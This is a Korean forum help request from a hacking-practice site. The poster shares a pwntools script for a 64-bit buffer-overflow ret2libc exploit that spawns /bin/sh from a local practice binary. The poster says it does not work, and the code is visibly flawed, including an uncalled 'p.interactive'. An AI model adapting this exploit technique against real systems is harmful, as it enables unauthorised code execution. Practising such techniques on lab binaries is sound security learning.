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http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Board&no=36248 [복사]
연습중인데 잘안되네여.. 도와주세여
system : 0x7ffff7a60510
/bin/sh : 0x7ffff7b9b3f3
pop_rdi_ret : 0x555555554793
payload는
sfp(dummy 8byte)+ret(pop_rdi_ret 8byte)+/bin/sh+system
입니다.
from pwn import *
p = process('./bof64')
base = 0x7ffff7a1e000
system = base+0x42510
binsh = base+0x17d3f3
poprdi = base-0x2aaaa24c986d
print "system : "+hex(system)
print "/bin/sh : "+hex(binsh)
print "pop_rdi_ret : "+hex(poprdi)
exploit = "A"*264
exploit += p64(poprdi)
exploit += p64(binsh)
exploit += p64(system)
p.send(exploit)
p.interactive
파이썬 코드입니다...
잘모르겠습니다 도와주세요
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Hit : 10140 Date : 2018/06/19 03:54
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22016, 
1/1101 
